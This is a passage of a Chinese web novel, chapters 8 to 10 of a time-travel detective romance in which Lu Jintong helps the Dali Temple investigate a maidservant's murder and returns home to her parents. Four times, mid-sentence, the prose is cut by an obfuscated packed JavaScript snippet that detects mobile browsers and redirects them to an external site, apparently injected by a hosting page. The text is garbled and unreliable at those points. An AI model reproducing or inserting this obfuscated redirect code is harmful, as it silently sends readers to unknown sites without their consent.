容筝无奈,低声吩咐守在一旁的衙役去那些点心去验尸房,他妥协道:“走吧。“ 路锦瞳就等着这句话呢,当下也顾不上尊卑,赶忙溜了。 她又险些与奔来的衙役撞个满怀,衙役被她吓得直打跌,辛苦地站稳身子,向容筝行礼道:“殿下,徐大人正叫小人来禀报,他在尸体衣物上发现了东西,好像是释奴文书。“ *** “丞相府是富贵人家,一般释奴文书都会用蚕丝制的布帛,这种布帛轻薄细软。”徐晟耐心给他们讲解,“这位柳絮姑娘把布帛浸湿,缝在了衣衫内衬,因为她穿着的是相同质量的衣服,释奴文书又是浸湿后被缝上去的,再加上下官一直在研究尸体本身的死因,就没有把过多的精力放在衣服上,手下人也疏忽了。” 他用木制的镊子小心从衣衫上把布帛撕下来,用剪刀剪开针线:“听沈大人说在找释奴文书,下官就又去查了一遍衣服,好在找到了东西。” 容筝接过那方布子,他面上欣喜:“太好了,有了这个东西,就能证明我们之前的猜测是正确的。” 路锦瞳在后面点头,这里还是太不方便,如果能有DNA或指纹提取比对技术就好了,在找到释奴文书这一关键证据后,排除掉柳絮本人的,剩下就只会是凶手的,届时从系统中比对一下,就能找出凶手是谁。 这案子并不难,之所以一直拖到现在,实在是因为技术跟不上,没有监控也没有新进技术,如果放在现代,在找到关键证人理清楚来龙去脉后,差不多就能断定凶手了。 想到这里,路锦瞳不禁对沈知安肃然起敬,她破过的案子不算少,回到古代根本无法适应,那么沈知安能在这样的环境下被人称作“包青天”,那得有多不容易。 有衙役提着食盒过来,里面装了点心,徐晟连忙叫人给他们倒茶:“殿下辛苦,姑娘,你也没吃饭么?身体还未好,可不能糟践啊。” 路锦瞳是惯犯,经常忙起来顾不上吃饭,什么都是案子第一,只要有了新的想法,便会不管不顾的去查,无论什么都抛诸脑后,这也就导致她的胃不太好。路锦瞳连忙点头答应,心想可千万不能把原身的身体搞坏啊,胃痛的感觉她可不想再体会了。 这么想着,她赶忙接过食盒,在场人里也就只有她地位比较低,总不好让皇子和朝廷官员去接箱子。路锦瞳揭开盖子,顺手摸起长相不错的啃了一个,想到旁边还有人,立马分享:“你们吃么?” 容筝本想让她去堂中吃,柳絮的尸体在这里已经存放了两天,虽是深秋,却也没到特别冷的时候,尸体已经开始腐败了,味道有些难以言说,连徐晟脸上都特意蒙了布子。他未能说出口,就见路锦瞳已经光速吃完了一块,想说的话在喉头滚了又滚,最终还是咽了下去。 罢了,倘若她是没意识到呢,若他现在点破,反倒叫路锦瞳意识过来,难免会有些心里阴影。 他把释奴文书收起来,移步到屋外:“稍后本宫吩咐下去,一部分去查断肠草的来源,另一部分找柳絮的舅舅,你可能放心了?去吃饭吧,大理寺的食堂伙食很好。” “真的?”路锦瞳眼睛一亮,“几个菜啊,有没有限制,能不能每样都打一点?” “当然可以,”容筝失笑,他像是想起什么,又道:“你去堂中等本宫,等会儿再吃。” 路锦瞳以为他是要去吩咐人,不方便她跟着,点点头回去了,正好倒些茶顺一顺,糕点香是香,有点噎。 她不知道大理寺的食堂在哪,只好乖乖等着容筝回来带她一起去,顺便又将案情理了一遍,确认没有遗漏疏忽的地方才放心。紧绷的神经松懈下来,她这才觉得颈上火辣辣的痛,疼的要命,脑袋也有点发烫,手足发冷。 原身的身体素质还是太差了,若换成她以前的身体,早就好差不多了,怎么会又烧起来。 竹月早上临走前给她把药和绷带给她装在了随身带着的小包包里,方便外出时顾不上能随时换药。路锦瞳找遍屋子也没找到一面镜子,只能用茶杯里的水勉强照个大概,指尖抹了药膏往脖子上瞎涂。 真疼啊,来杀他的人下手真重。 想到这里,路锦瞳才意识到她忽略了前夜企图杀害她的人,之后很有可能会伪造出自杀然后草草结案,为的就是把锅彻底扣在路锦瞳的头上。那人被沈知安抓走,也不知道有没有问出什么结果来,路锦瞳依然觉得这很难。 古代和现代可不一样,现代人再怎么凶狠也终究对死有畏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14972499|161350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惧,还有些受不了酷刑,想点办法施加心理压力就差不多能问出来了。古代人可不一样,尤其这个朝代并没有在历史上存在过,是架空时代,那么小说中的死士这类也肯定是存在的,这种人都不怕死,也不怕痛,口中藏点毒药,但凡被发现咬破便能瞬间死亡,不给人提问的机会。 她边这么想边重新缠好绷带,门边传来轻叩声,路锦瞳连忙回应“来了”,手上系好结去开门。是容筝,他端了两个餐盘,两荤一素一汤,还冒着热气,色彩搭配明艳,香气扑鼻,看得路锦瞳狗眼一亮。 她连忙把人迎进来:“殿下,您怎么把饭端过来了?不是我们一起去食堂吃么?” 容筝用脚把门关上:“你一个姑娘家,干嘛去那种环境吃。” 哦,路锦瞳又忘了,大理寺全是男的,食堂自然也坐满男人,她进去确实怪怪的。讲真的,她还挺不习惯的,以前工作的时候,谁在乎对方是男是女,大家一起聊聊天,讨论案件,吃饭高兴就好了,你一条沙发我一条沙发同一个房间累了躺下就睡,谁会在意男女有别。 如果可以,她挺想融入进去的,衙役们总会去走访,对京城大街小巷也很了解,说不定能问出些和案件有关的东西。 “多谢殿下。”路锦瞳忙不迭地去接盘子,殷勤地给容筝倒水。开玩笑,人家一个皇子跑去帮忙打饭,她倒个水还能怎么滴? 路锦瞳不知道容筝有没有食不言寝不语的习惯,只埋头吃饭,她一向吃饭很快,差不多是光速,容筝看她吃东西觉得食欲都好起来了。他看路锦瞳放下筷子,心满意足地去喝茶,问道:“怎么样,味道还不错吧?” “殿下说的没错,特别好吃。”路锦瞳乐滋滋,她讶然,“殿下,原来您没那么多规矩啊。” “什么规矩?” “就是那个,”路锦瞳比划,“吃饭的时候不许说话。” 容筝失笑:“没有。原来你是这么认为的,本宫还以为是你太饿了,顾不上说话。” 路锦瞳囧,她发现自从来了这里之后,她总是会习惯性忘记去做一个贵女,装不到一会儿就原形毕露,每次现形还都是在容筝面前,这实在是……好吧其实也没什么,他看着也不介意啊。 再说了,介意又怎么样,她就是这样的人,介意的话以后不沾边就好了。 既然他没有这种习惯,路锦瞳也就放心和他搭话了:“殿下,那个想要杀我的人沈大人审了么,有没有问出什么?” 容筝摇摇头,说出她早就预想出的答案:“还没押到刑房,他就服毒自尽了。” 好吧,路锦瞳点点头,也没有多失望。 下午就有些无聊了,因为目前证据链并不完整,只能干等着散出去的两拨人带回消息来,当务之急是找到柳絮的舅舅,确定他们要一起离京的事实。只有确定了这个,才能断定柳絮有杀人的嫌疑,之后如果想要去丞相府走访,问其余丫鬟柳絮有没有做什么奇怪的事情来了解情况,这是必须要经历的一步,丞相府可不是能随便查的。 8. 第 8 章 容筝本来想送她回客栈休息,却被路锦瞳拒绝,她担心客栈离大理寺较远,如果底下的衙役查出什么,她无法第一时间得到消息,届时万一又错过什么就不好了。 大理寺有衙役的宿舍,也有一些走班的临时休息地,沈知安要查新案子没时间休息,就把屋子给路锦瞳让了出来,她也没客气,养好精神才能查案子,更何况现在暂时没她的事,之后可就说不定了,要在难得的休息时间多休息。 老实说,虽然很忙很累,但路锦瞳觉得很充实,她最怕的就是自己闲下来。 她睡了个午觉,醒来径直往大堂过去,路上遇见过的衙役都会和她打招呼,她的事已经持续差不多两天,大家早就都知道她如今暂时待在这里为自己洗脱冤屈,还听徐晟说过她找出了柳絮的死因,不禁都有佩服,讲话也充满善意。 沈知安和容筝依然待在一起正说着什么,瞧着都是眉头紧锁,路锦瞳轻轻叩了叩门,容筝看过来,向她点点头:“醒了。” “嗯。”路锦瞳迈进门槛,“是查出什么了么?” 沈知安道:“两拨人都传回消息,断肠草随处可见,找不到来源;蹲守城门的也没有发现柳絮舅舅的踪迹,可能还没来,也有可能来了,因为得知柳絮的死讯,提前预感到了什么,不敢出现,藏起来了。” 他揉揉眉心:“为防疏漏,本官让人去柳絮的老家叙州找她舅舅家了解一下情况,她舅舅是什么时候出发的,差不多何时到这里来。同时我们的人蹲守在这里,如果能拦到人最好,如果拦不到,那极有可能他藏在城中不敢露面,届时等我们的人回来,有了他的样貌特征,再大范围排查就好了。” “她老家远么?”路锦瞳问。 “快马加鞭的话,赶路差不多要两天。”沈知安道,“时间是差不多的,我已经通知他们速度要快了,还带了画像师。” 还是要等呗。路锦瞳点点头,这种情况很正常,哪有一下子就能解决的案子,她等着吧,顺便再琢磨琢磨,看能不能想出新东西来,或者帮忙看看别的案子。 想到这里她问:“大人,上午的那个案子怎么样了?” 沈知安眉头皱得更紧:“徐大人去验尸了,目前在查死者的身份,询问发现尸体的群众,还什么都没线索呢。” “大人,能让我帮忙么?”路锦瞳毛遂自荐,“我可以帮您走访,除了验尸不能干,其他的什么都可以,您可以尽情使唤我。” 她放的姿态够低了吧,只要能让她跟着一起就行,路锦瞳完全无法想象她闲下来会有多无聊,手机电脑什么都没有,话说系统呢?穿越人士一般不都是有系统的么?让她和系统聊聊天也成啊。 沈知安皱眉:“路姑娘,你的伤还未好,还是好好休息吧,这些事自有衙役们去做。” “民女已经好了。”路锦瞳摆出强壮的手势,“大人,您让我去吧,我这人不能闲下来,一闲下来就要胡思乱想,一胡思乱想我就会想到有人要谋害我,万一他们伤害我父母怎么办,然后我就会焦虑,一焦虑我就会掉头发,一掉头发我就变得不好看了,不好看了我就会……” “等等等等,”沈知安面露惊恐,他赶忙摆手,“行行行你去,但是你不能去外面,去旁听审问吧,本官要忙了。” 他生怕路锦瞳再念,甩了袖子就跑,容筝在后面笑得埋下脸去:“认识沈大人快十年了,还是第一次见他跑得这样快。” 路锦瞳一本正经:“沈大人虽将近四十,但还年轻着呢,适当锻炼锻炼没有坏处。” 她算是发现了,这些清官们脾气都好,稍稍开玩笑是绝对不会生气的。从刚刚就能看出来,沈知安家里肯定有女儿,且还是个女儿奴,女儿也曾像她这么一样耍赖过,所以他才会这么容易妥协,只怕出去了就后悔了,因为已经答应不好反悔才没折返。 有活干路锦瞳就高兴,她打算出去找找审讯室在哪,不行问问路人,没想到容筝跟着她也出了门,她讶道:“殿下,民女找一找就找到了,您不用跟着。” “既然你跟着本宫做事,那本宫就必须保证你的安全。再说,”容筝笑容温温,“本宫也想去旁听,说不定能从哪些话语中得到启发?” 有人陪着自然是好的,说不定偶尔也能交流。路锦瞳发现这位四皇子也很有刑侦方面的头脑,爱学新东西,会看眼色,甚至思维也能与她同频,在这方面她也算是老人了,遇到苗子好的后辈也是很愿意带一带的,就是不知道他愿不愿意往这条路上走。 当然这话只敢在心里想想,可是万万不能说出来的,她哪里敢给皇子当老师。 他们不能进去与人面对面,只能在门口的一个小缝缝里阴暗窥视,路锦瞳叉着腿降低身高看得专注。原身的身高挺高的,和她原来一样,差不多一米七四呢,那道缝有点低,弯腰腰累,姿势还不雅观,这样最舒服了。 她这么一站,完全把容筝的位置占了个严严实实,偏偏自己还没反应过来,埋头看得专注,容筝只好默默撤开。 后来是有狱卒实在看不下去,给他们一人搬了个凳子,容筝才能得以瞅上两眼。 审问的是发现尸体的人,还有一些当时的围观群众,衙役们根据死者的长相画了画像,拿出去让京城的人挨个儿辨认,可惜效果甚微,并没有人认识这个人。 将带回来的人全部都问过一遍后,也什么都没问出来,路锦瞳失望而归,她帮忙把这情况汇报给沈知安,末了补上一句:“大人,死者会不会是外地人,所以本地人不认识他。” “有这个可能。”沈知安揉了揉额头,“现在先等徐大人的验尸结果吧。” 徐晟那边的结果是晚上才出来的,他刚查完就带着验尸报告马不停蹄赶来汇报:“死者是被匕首当胸刺穿,失血过多而死。凶手一击毙命 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14972500|161350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,是个练家子。根据推断,死者大概死于前日酉时。” 沈知安皱眉:“看他掌心的厚茧,应该是经常做农活的乡下人,怎么会招惹到凶手这种人?” “这个不知道,但是,大人,我还发现了另一件事,只不过没有证据证明两件事有关,只是我的猜测。”徐晟道。 沈知安道:“你先说。” 徐晟清清嗓子:“我怀疑,杀死柳絮姑娘的人和杀死这位死者的是同一个。” 迎着讶异的目光,徐晟道:“我发现,这两位的伤口偏向一致。虽然柳絮的死因是被针刺穿脑后,并不能看出凶手的惯用手法,但是,这两处伤都是偏右的,这能说明什么呢?” 他抛出问题,路锦瞳立刻抢答:“说明凶手是左撇子!” “不错,”徐晟点点头,“不过,我也只是猜测而已,也有可能并不是一个人,只是觉得凑巧,便这么想一下,也不用完全参考。” 徐晟还要写报告,扔下一堆话就风风火火的回去了。路锦瞳道:“殿下,大人,民女倒是觉得徐大人说的也有可能,你们想一下,如果他说的是真的,杀柳絮和今日这位死者的是同一个人,并且他也死于前日下午,而且有可能是外乡人,串联一下,有没有可能,他就是柳絮的舅舅呢?” 沈知安拿起那张验尸报告看了又看,他喃喃:“有这个可能。但始终是猜测,除非他的亲人亲自来辨认才能断定,一切都要等到衙役从叙州回来再说。” 他抬起头:“在外面寻找死者身份的人也不能断,蹲守从外地找人来的也不能停,先等着,等结果出来。” 路锦瞳点点头:“都听大人的。” 天色已经不早,路锦瞳便和他们告辞,容筝要回宫复命,还得安抚丞相,便派了贴身护卫送路锦瞳回府。既然路家也要被保护起来,那就不必费劲把人分散到两个地方,再加上路锦瞳也已洗清嫌疑,当日一起被关进去的嫌疑人都被释放了。 路锦瞳还见到了那个借给他披风的姑娘,竹月早就帮忙把衣服洗好了,她一直装着打算还给人家,今天正好碰到。路锦瞳问她要了地址,打算交个朋友,以后多多来往,她最喜欢善良的小姑娘了。 路府离得有点远,路锦瞳在车上晃晃悠悠地犯困,微风轻卷车帘,黄昏斜照,她身上暖烘烘的一片。她靠在车厢上看车外的人声鼎沸,突然生出庆幸感。 真好啊,她还活着,太阳这么暖,风这么舒服。 她一直都记着临死前的寒冷,浑身的血都像是流干,她瑟瑟发抖,却拼着求生意志努力往基地爬,眼前发黑喘不上气。刚开始还能感觉到痛,后面什么都感受不到了,只有寒冷一直伴随,导致她现在都不喜欢冷,只要稍微凉一点,就会想到濒死的绝望。 放在膝上的手指握了握,路锦瞳抓了把温暖的阳光,终于心满意足了。 只要活着,什么都好。 9. 第 9 章 路家人并不知道她今天回来,许是因为容筝派人来说过情况,大门虽开着,但里面安安静静。她下了马车,向做马夫的侍卫大哥道谢,然后抬步进府。 院里的下人看到他,连忙拔腿向前厅跑去,应该是去向原身父母报告,路锦瞳加快步子,赶在原身父母没跑出一段距离时到了:“爹,娘。” 陆绾将她抱了个满怀:“可算是回来了,怎么样,他们有没有欺负你?” 她满眼的紧张,路锦瞳好久没感受到母亲的关怀,不仅心中一暖,眉眼含笑道:“多谢母亲,女儿没事。” 她看了看从始至终就被陆绾挤到一边的路钊,他也是满目担忧,路锦瞳笑笑:“放心父亲,真的没事。” 陆绾听过竹月的汇报,眼下只有他们一家三口,并无外人,便干脆揭了路锦瞳的帷帽,她扯了绷带一角看进去,一片青紫映入眼帘,顿时眉目紧皱,泪水不自觉涌出:“这……怎么伤成这样,哪个杀千刀干的?!” 路锦瞳好笑又感动,她拉了陆绾的手:“娘放心,早就不痛了。” 陆绾怒气冲冲地问:“沈大人带你回大理寺时就伤着了,还是去了之后才伤的?” 路锦瞳不明白她为什么要这么问,但被气势所压,刻在肌肉记忆里的怂情不自禁冒头,等她反应过来就已经脱口而出:“在大理寺牢里,被人偷袭了。” “这个姓沈的!”陆绾大怒,“都把人带手里了还能让我女儿受伤,他干什么吃的?!” 路锦瞳满脸惊恐,沈知安可是三品大官,母亲这么说人家,是不是不太好,幸好这里没什么人,听不到她这惊世骇俗的话。 感觉陆绾下一秒就要撸袖子冲出去打人了,路锦瞳连忙拉住她:“娘,要不是沈大人女儿可能就回不来了,得谢谢人家,怎么能这么说。” “看下次见面老娘怎么说他!”陆绾哼了一声,她拉了路锦瞳的手,“走,娘给你换药,竹月听说你回来已经吩咐人熬药了,今晚好好休息,这几天都在家养着。” 听陆绾的口气,好像喝沈知安很熟悉的样子。路锦瞳压下疑窦,答:“不行诶娘,女儿答应了,要一起去帮忙查案子,明天可能还要去大理寺。” “什么?查案子?你么?”陆绾震惊三连,“沈知安是不是疯了,他让你查什么案子,他又不是不知道你脑子转不过弯,连表面功夫都不会做哪能干查案这种细致的事情,他喝水的时候喝脑子里了?” “……”路锦瞳沉默,她更能确定沈知安和陆绾关系不一般了,只不过她不敢问,稍等好好回忆一下。真的有可能原身在落水的时候脑子里进了点水,这些记忆怎么就不能自己跑出来,还要她专门去翻呢?也太容易露馅了。 她安抚道:“娘,四皇子殿下派人来保护我们全府上下,就是怕我们出事,这件事关系重大,目前不方便说,等事情结束女儿会完完整整的告诉您。这涉及我们一家人的性命,女儿只有亲自跟进才能放心,您不要怪沈大人,是我求他让我帮忙的。” 陆绾怔住,她看着女儿镇定冷静的脸,总觉得她哪里变了,却一下子说不上来,还未开口,路锦瞳就道:“我就知道娘您一定会同意的!谢谢娘!” 她扑上去对着陆绾的脸猛亲一口,然后兴高采烈地拉她回屋,陆绾虽不明所以但还是跟着走了。 被忽略了个彻底的路钊:“……” 他吩咐管家让厨房做饭,又叫人把府医请过来,跟着老婆孩子回去了。 陆绾让她做到凳子上,亲自倒茶,满眼心疼地看路锦瞳的伤:“这很痛吧?杀千刀的,看老娘不去劈了他!” “没事的娘,已经不疼了,那个伤我的人也死了。”路锦瞳胡乱安慰。 她原先也没安慰过人,每当遇到受害者家属都是其他同事上的,没给她发挥的余地,所以就一直都学不会,现下更不会了,于是手忙脚乱。 她头脑风暴空余还抽空去回忆了一下沈知安与陆绾的关系,原来他们很早之前就认识了,不过陆绾并没有多说,只是讲他们认得,关系还不赖。对此路锦瞳心中一直存疑,因为沈知安从来没来过他们家,陆绾也很少主动找上门去,路府内除了陆绾之外都没人和沈知安讲过话,可偏偏陆绾言语间又是和沈知安很熟悉的样子。 再加上陆绾很少提及沈知安的私人问题,也不说他喜欢什么还有家庭情况,原身就没信,只觉得是薛定谔的认识。 路钊知道什么是轻重缓急,既然路锦瞳说了这事暂时不能问,那他就不问,女儿如果想说迟早会说的,逼也没用。他好不容易等陆绾说完找到间隙插嘴,连忙问:“听竹月说你烧得厉害,不若再休息几天,哪怕明天一日也成,只要好了,想去哪儿爹都同意,但还是要先养着。” “爹放心,昨天我已经休息了一整日了,况且这案子恐怕很快就能结束,届时什么都处理完了再好好休息也来得及。”路锦瞳道。 陆绾点头道:“我出去一下,如果回来的晚就不用等我吃饭了。” 说着她从丫鬟手中接过帷帽,叫人备马,风风火火出府去了。 陆绾这一出门就是好几个时辰,天黑了都没回来,路钊叫人先给路锦瞳上了饭,让她多吃一些,自己却没用,路锦瞳猜他是在等陆绾一起吃。原身的记忆中这对夫妻感情就是很好,根本不用她操心,对比起来她更像是那个意外,经常出现的不合时宜。 路府的饭菜做得特别香,路锦瞳一不小心又吃多了,她扶着肚子到处转着消食,没走一会儿就被竹月喊回来上药。之前因为满脑子案子她没工夫多想,现下她习惯性的观察身边人,发现竹月好像有点怕她的样子,不管说什么都是细声细气,不敢放大了声音,如果她问要不要做什么她拒绝超过两次,那就绝对不会再问,根本不给她发火的机会。 路锦瞳记得原身脾气特别差,再加上父母宠爱,她总是无法无天的,一身公主病,对下人也是非打即骂……等等,路锦瞳突然想到一件非常重要的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14972501|161350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事。 原先竹月与她并没有这么大的疏离感,哪怕挨骂挨打,也要忠心说出自己的意见,自从原身毫不顾及她们的主仆情谊,将犯了错事的竹月父母杖杀,她就再也没有那样过了。 竹月是七年前来到她身边伺候的,他们一家逃荒到京城,是路钊收留了他们,让他们进府中做事。他们尽心尽力认真做事,几乎没犯过什么过错,只有竹月年纪小,有的时候遇到觉得不合适的会出言提醒原身不要那么做,惹原身气上半天,他们一家子都要来赔礼道歉。 三年前原身突发奇想要在府中举办一次宴会,请各家小姐过来看看京城首富的实力,竹月的父母不小心出了纰漏,使原身大丢脸面,她被人嘲笑,不顾竹月恳求要施以责罚,但因为他们父母做活太多,加上逃难时搞坏了身体底子,没能撑住,双双毙命。 原身没想到会发生这样的事情,一时也有点慌,她对上竹月那双充满凉意的眼睛,心下有些心虚,却不肯认错,反而理直气壮地回了一句:“看什么看?你们一家的命都是我爹保下的,现下本小姐只是取回来罢了!” 自那之后,竹月就再也不肯与原身掏心掏肺了,虽还是在身边尽心尽力的侍候,看着好像什么都没变,但又好像什么都变了。 路锦瞳想到这里,情不自禁对竹月的要求更听进了一些,她自觉自己欠了人家,因为她现在就是原身,原身欠的也算是她欠的。她想不出该怎么向竹月道歉,这种事情怎么可能是道歉就解决得了的? 天色彻底黑下来的时候陆绾回来了,她还带着一个白衣男子,竹月见状连忙把帷帽给路锦瞳戴上。路钊从座位上起身:“夫人,这是……?” 陆绾大步进来:“这是我给小锦找的护卫,从明天开始,只要你出门,就让他跟着。” 末了,她凑上来小声对路锦瞳道:“使劲使唤,娘这可是用钱砸出来的,一天二十两呢!” 这么贵?路锦瞳睁大眼。不过也正常,这么短的时间找过来的一般都是加急件,怎么可能不贵,便宜的也不敢用啊,这可是掉脑袋的事! 陆绾道:“这可是飞天帮的弟子慕公子,武艺高强,可厉害了!” 那白衣公子无奈:“夫人,是飞鹰帮。” 他声音清澈,听着倒不像个男生,不过瞧着年岁不大,应该是尚未及弱冠的少年,变声期还没过,不像男的也正常。路锦瞳瞧他白衣翩然,背负长剑,眉眼犀利,很有小说中门派少侠的味道,她瞧了满意,便点头应允,谢过陆绾。 她还有些不敢相信:“爹,娘,你们居然就这么答应了?” “不答应能怎么样呢?”陆绾无奈,“你这孩子一向有自己的主意,哪怕是现在不许你去,之后你翻墙也是要溜出去的,还不如应了你,什么都替你安排好,我们放心,你也高兴。” 有这么不扫兴的父母可真是太好了,路锦瞳觉得很欣慰,不过她问的不是这件事:“不是,你们不怕外头的人笑话女儿么?” 10. 第 10 章 她也不是没看过小说,好多小说里面的封建朝代对女生及其不友好,她之前看的一个,女孩被人贩子拐走,好不容易回了府,家里人想的却是会因为她害了府中其他的姑娘,导致他们的婚事不好说,想方设法的要让她出府,亦或是削了头发做尼姑,要不然就让她自行寻死,保全体面,给府里其他的人留后路。 每个人都在想如何保全府里,不要毁了其他的人,没有人想过那个女孩什么错都没有,她也不想被拐,为什么要承受这样的后果呢?她什么都没做,这难道是她应得的么? 她到的这个朝代比看过的那些还要可怕,女生甚至都不能在外露脸,那岂不是比小说里面的还要封建。此番她决定办案,还是和大理寺那群男生们一起,甚至还会到处走访问东问西,让那些人的嘴里传出去,指不定传成什么样呢,路锦瞳自己倒是无所谓,爱怎么说怎么说,她又不是被吓大的,可原身父母是否能接受还要另说,现在她有了自己的父母,与之前能自己随意做主可不同了。 “谁敢笑话我女儿?看我揍不死他们!”陆绾还是一如既往的火爆,“笑我的女儿,他们怎么不去自己查?不用管他们,小锦,只要你高兴,想干什么都行。” 路钊点点头:“谁敢说你不好,告诉爹,爹在他过来买东西的时候提价。” 路锦瞳:“……” 她现在算是知道为什么原身敢到处惹祸了,父母包庇她什么不敢啊?她恐怕都敢去皇上的位置上坐坐。 但她还是感动,再次向他们道谢后回了房,今晚要早点休息,养足精神明天动脑呢。 古代人晚上睡得都很早,因为他们没什么夜生活,也不会看电视啥的,加上这个朝代有宵禁,灯油又是珍惜的东西,很多人都早早的关门闭户,除了有要事处理,大部分人八九点就睡了。 路锦瞳不太习惯早睡,她以往都喜欢熬夜,有事办案通宵,还有时就算正常点下班,她也要追剧看小说到将近十二点才肯闭眼入睡,除非是困到不行,否则绝对不会让自己早睡。 于是她婉拒了竹月伺候她洗漱,喝完药换完药之后去摸了本书,又拿几张宣纸,开始自己的识字大业。 竹月来到路府后也跟着学了不少字,因此路锦瞳有的时候问她她也能答得上来,路锦瞳故作惋惜道:“竹月啊,你说我是不是变傻了,怎么落了次水,连字都识不得了,难道我把脑子里的东西都掉水里去了么?” 竹月老老实实:“小姐多虑了,只是因为您尚在病中,好了就会没事了。” 好吧,孩子被吓怕了,不过也正好,路锦瞳不用向她解释为什么连最基本的字也不认识了,若她想怀疑,那就怀疑去吧,反正她如假包换,连记忆都是她的,还怕什么。 她把那些字都记在脑子里,知道怎么读,又一遍一遍地在纸上临摹,一晚上居然学了不少,路锦瞳觉得自己脑子还是很够用的,就是学习这个东西一如既往的让人犯困,等她强撑着写完一页,已经困得要睁不开眼了,竹月伺候着她擦了脸换了衣服,路锦瞳很快睡死过去。 这次睡得比上次安稳的多,脖颈上的伤没那么痛了,也不做噩梦了,路锦瞳一觉睡到自然醒,阳光透过窗子映到纱幔上,她伸了个懒腰,鲤鱼打挺起来。 哎呦她的老腰,原身的身体连这种动作都做不了么? 昨天疯跑了一段路,又跑来跑去晃了一天,满身都是疲惫,路锦瞳舒展了身体,门外的竹月听到她醒,连忙端着盆子进来给她洗漱。她用帕子给路锦瞳擦脸,她下意识躲了一下。 平常她习惯了亲力亲为,昨夜是因为太困了,困得她整个人都不清醒了,如果不是竹月让她洗漱一下,她可能会就此脏兮兮的睡过去。昨夜她似乎也是夺过竹月手中的帕子自己胡乱擦了的,当时没注意竹月的神情,也不知道她有没有介意。 竹月见状连忙跪下:“是奴婢的错,烫着小姐了。” “啊?”路锦瞳有点懵。 竹月好像比她更懵的样子,她听路锦瞳的话,迟疑一下,随后道:“凉着小姐了?” 路锦瞳:“……” 原来竹月也不知道自己做错了什么,只是一味的认错免得遭受责罚罢了。也是,在外人的眼里,原身先是落水后是被审问,再然后险些被人杀了,依照她的性格只怕要气疯了,现在谁愿意来触她的眉头,谁触谁倒霉。 路锦瞳有点尴尬,来了两天,她这还是第一次被人跪,当下坐立难安,连忙道:“你快起来,水温没问题,不关你的事。” 竹月还是有些瑟瑟,但依然起来了,路锦瞳想说什么又难以开口,她们之间隔着竹月父母的两条命,无论她怎么做怎么说竹月恐怕都不会原谅。再者,原身从前一直都没有对此表示过一点看法,突然对竹月特别好像换了一个人,很容易ooc,倘若叫人看出来岂不是得不偿失,还是先忍着,改变人们心中的固有想法可不是一朝一夕就能成功的。 她怕竹月多想,只好自己努力顺从被人伺候的感觉。天色尚早,她的身体习惯了八个小时的睡眠,睡饱了自然就醒了,此时不过刚辰时三刻。 那位慕公子也很勤勉,路锦瞳锻炼的时候他在练剑,路锦瞳练完了他在练基础,明明练了许久,却没表现出一点疲态,路锦瞳看了震惊,想给她竖大拇指。 这几日路钊和陆绾都在家,容筝派的人来说什么时候他们撤走,什么时候他们再安心出门,如果非要出去,从守着的人里抽出几个跟着就好。虽然如此,路家父母还是很惜命的,没什么事绝对不出门,干脆在家蹲着,提早检查检查账本,聊聊天巩固感情。 竹月把路锦瞳醒了的消息报出去,厨房立马开始工作。路锦瞳换了身轻便的衣服,梳了个时新的发型,反正没有锤王来锤她,开始绕着自己屋门前的小花园跑步,虽然不比丞相家大,但好歹是个四进的院子,一个小花园也有一百多平了,有钱人就是好啊。 跑了几十圈,路锦瞳又拉伸了大半个时辰,感觉这具身体差不多快要到极限了才肯结束,古代比现代还要危险,她不早日练习恢复保命手段,这次不死下次也会出事。 照顾着她的身体,厨房做了很多有营养的餐食,据陆绾说连糕点里都适当加了点人参红枣什么的,大厨手艺不错,路锦瞳吃得很香,一不小心又吃饱了,她开始充分怀疑自己的锻炼能否与进食相互抵消,该不会之后要胖一圈吧? 胖了倒是无妨,只是身形重了的话万一届时逃跑不快可怎么办。 竹月报告说容筝的人早早就等在门外,路锦瞳有点不好意思,用布子包了一堆的点心和饼带出去,其他暗卫的饭都有厨房管着,今日这个可没有。 她还另包了几份给沈知安和容筝还有徐晟,这一天他们照顾她颇多,送别的像是在贿赂的样子,送点吃的总不会吧,路锦瞳这么想。 慕公子没上马车,骑了匹马不远不近的跟在后面,他寡言少语,路锦瞳和他聊不了两句就无话可说,只好识趣的躲远。 大理寺还如昨日般忙碌,容筝正在堂中等她,沈知安不在,据说是外出查案去了。 看到她身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 